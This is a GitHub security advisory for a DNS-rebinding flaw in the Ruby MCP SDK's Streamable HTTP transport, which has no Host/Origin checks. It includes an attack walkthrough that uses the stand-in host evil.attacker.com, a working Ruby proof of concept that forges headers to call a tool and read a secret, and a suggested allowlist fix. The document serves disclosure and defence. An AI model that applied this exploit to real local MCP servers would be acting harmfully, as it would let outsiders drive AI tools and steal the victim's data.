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MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection

Moderate severity GitHub Reviewed Published Jul 8, 2026 in modelcontextprotocol/ruby-sdk • Updated Jul 30, 2026

Package

bundler mcp (RubyGems)

Affected versions

<= 0.22.0

Patched versions

0.23.0

Description

Summary

MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.

Impact

  • An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on localhost).
  • Because the transport issues a session and dispatches tools/list / tools/call from a foreign Host/Origin with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin.
  • The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.

Vulnerable code

File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).

The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:

# call(env) -> handle_request(Rack::Request.new(env))  (line 56)
def handle_post(request)
  required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
  accept_error = validate_accept_header(request, required_types)   # line 335 - checks Accept only
  return accept_error if accept_error

  content_type_error = validate_content_type(request)             # line 338 - checks Content-Type only
  return content_type_error if content_type_error

  body_string = request.body.read
  session_id = extract_session_id(request)                        # line 342 - reads HTTP_MCP_SESSION_ID

No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].

The only request-env reads in the whole class are:

  • extract_session_id -> request.env["HTTP_MCP_SESSION_ID"] (line 489)
  • validate_accept_header -> request.env["HTTP_ACCEPT"] (line 493)
  • validate_content_type -> request.env["CONTENT_TYPE"] (line 512)
  • validate_protocol_version_header -> request.env["HTTP_MCP_PROTOCOL_VERSION"] (line 546)

A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.

How the input reaches the sink (attack scenario)

  1. A developer runs an MCP server over StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN).
  2. The victim opens http://evil.attacker.com in a browser. The page resolves to the attacker's server, which then re-answers DNS for evil.attacker.com with 127.0.0.1 (DNS rebinding). The browser now treats requests to evil.attacker.com as going to the local MCP server, with Host: evil.attacker.com / Origin: http://evil.attacker.com.
  3. The page POSTs an initialize request. The transport accepts it (it never looks at Host/Origin), creates a session, and returns Mcp-Session-Id.
  4. The page then POSTs tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.

Proof of concept (end-to-end reproduction)

Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).

Install:

gem install mcp -v 0.18.0   # pulls addressable, json-schema, public_suffix
gem install rack            # required by StreamableHTTPTransport

PoC (poc_f1_dnsrebind.rb):

# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"

puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts

# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
  MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end

server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last

def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
  body = JSON.generate(body_hash)
  env = {
    "REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
    "HTTP_HOST"   => host,    # attacker-controlled Host (DNS-rebind primary vector)
    "HTTP_ORIGIN" => origin,  # attacker-controlled Origin (cross-origin browser vector)
    "HTTP_ACCEPT" => "application/json, text/event-stream",
    "CONTENT_TYPE" => "application/json",
    "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
  }
  env["HTTP_MCP_SESSION_ID"] = session_id if session_id
  env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
  status, headers, resp = transport.call(env)
  collected = +""
  if resp.respond_to?(:each)
    resp.each { |c| collected << c.to_s }
  elsif resp.respond_to?(:call)            # stateful tools/call returns an SSE-stream Proc body
    sink = Object.new
    sink.define_singleton_method(:write) { |s| collected << s.to_s }
    sink.define_singleton_method(:flush) {}
    sink.define_singleton_method(:close) {}
    resp.call(sink)
  end
  [status, headers, collected]
end

puts "========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com =========="
init_body = { jsonrpc: "2.0", id: 1, method: "initialize",
  params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } }
status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com")
puts "[initialize] HTTP status      : #{status}"
puts "[initialize] Mcp-Session-Id   : #{headers["Mcp-Session-Id"].inspect}"
puts "[initialize] response body     : #{body}"
session = headers["Mcp-Session-Id"]

call_body = { jsonrpc: "2.0", id: 2, method: "tools/call",
  params: { name: "read_local_secret", arguments: {} } }
status2, _h2, body2 = rack_post(transport, call_body,
  host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO)
puts "[tools/call] HTTP status       : #{status2}"
puts "[tools/call] response body      : #{body2}"
attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a"))
puts
puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403."
puts

puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 =========="
status3, headers3, _b3 = rack_post(transport, init_body, host: "127.0.0.1:8080", origin: "http://127.0.0.1:8080")
puts "[initialize] HTTP status      : #{status3}"
puts "[initialize] Mcp-Session-Id   : #{headers3["Mcp-Session-Id"].inspect}"
puts
puts "CONTROL VERDICT: legitimate client also gets HTTP #{status3} + session -- transport applies the SAME (zero) Host/Origin policy to both."

Captured output (verbatim):

mcp gem version under test: 0.18.0
transport source: [".../gems/mcp-0.18.0/lib/mcp/server/transports/streamable_http_transport.rb", 333]

========== ATTACK: forged Host: attacker.evil.com  Origin: http://evil.attacker.com ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "d4fb30b4-b4ec-49a1-a58b-f4cc02bee64b"
[initialize] response body     : {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true},"logging":{}},"serverInfo":{"name":"poc_server","version":"1.0.0"}}}
[tools/call] HTTP status       : 200
[tools/call] response body      : data: {"jsonrpc":"2.0","id":2,"result":{"content":[{"type":"text","text":"TOP-SECRET-LOCAL-DATA-9f3a"}],"isError":false}}

ATTACK VERDICT: EXFILTRATED -- foreign Host/Origin obtained a session AND read the local secret with NO 403.

========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080  Origin: http://127.0.0.1:8080 ==========
[initialize] HTTP status      : 200
[initialize] Mcp-Session-Id   : "bf707a19-a22a-4ff2-aeae-62c20cd7141b"

CONTROL VERDICT: legitimate client also gets HTTP 200 + session -- transport applies the SAME (zero) Host/Origin policy to both.

The forged Host: attacker.evil.com / Origin: http://evil.attacker.com request obtained a valid session and exfiltrated the local secret (TOP-SECRET-LOCAL-DATA-9f3a) via tools/call, with the transport returning HTTP 200 throughout and never a 403. The negative control confirms the transport applies the identical (empty) policy to a legitimate localhost client, proving there is no Host/Origin discrimination at all.

Suggested fix

Add an opt-in but secure-by-default Host/Origin allowlist to StreamableHTTPTransport, mirroring the DNS-rebinding protection that the TypeScript, Python, Go, Rust, C#, and Java MCP SDKs already ship:

  • Accept allowed_hosts: and allowed_origins: keyword arguments in initialize.
  • In handle_request (before any dispatch), read request.env["HTTP_HOST"] and request.env["HTTP_ORIGIN"]. If an allowlist is configured and the value is not on it, return 403 Forbidden.
  • Default to allowing only loopback hosts (127.0.0.1, [::1], localhost) and an empty/absent Origin, so a stock local deployment is protected against rebinding out of the box while same-process and same-host clients keep working. Document how to widen the allowlist for non-loopback deployments.

A concrete patch adds an AllowedHostsValidation check invoked at the top of handle_request. See the Fix PR.

Fix PR

A fix PR implementing the Host/Origin allowlist with a secure loopback default is open against this advisory's private temporary fork: https://github.com/modelcontextprotocol/ruby-sdk-ghsa-rjr6-rcgv-9m7m/pull/1 . With the patch loaded, the forged-Host request is rejected with 403 ({"error":"Forbidden: Host not allowed (DNS-rebinding protection)"}) while a legitimate loopback Host: 127.0.0.1:8080 request is still served (HTTP 200, session issued).

Credit

Reported by tonghuaroot.

Reporter notes

This issue was found by source review of the mcp gem's Streamable HTTP transport and confirmed end-to-end against the released gem mcp 0.18.0 as shown above. It is reported independently on its own merits.

References

@koic koic published to modelcontextprotocol/ruby-sdk Jul 8, 2026
Published by the National Vulnerability Database Jul 29, 2026
Published to the GitHub Advisory Database Jul 30, 2026
Reviewed Jul 30, 2026
Last updated Jul 30, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality High
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(9th percentile)

Weaknesses

Origin Validation Error

The product does not properly verify that the source of data or communication is valid. Learn more on MITRE.

Reliance on Reverse DNS Resolution for a Security-Critical Action

The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname. Learn more on MITRE.

CVE ID

CVE-2026-63118

GHSA ID

GHSA-rjr6-rcgv-9m7m

Source code

Credits

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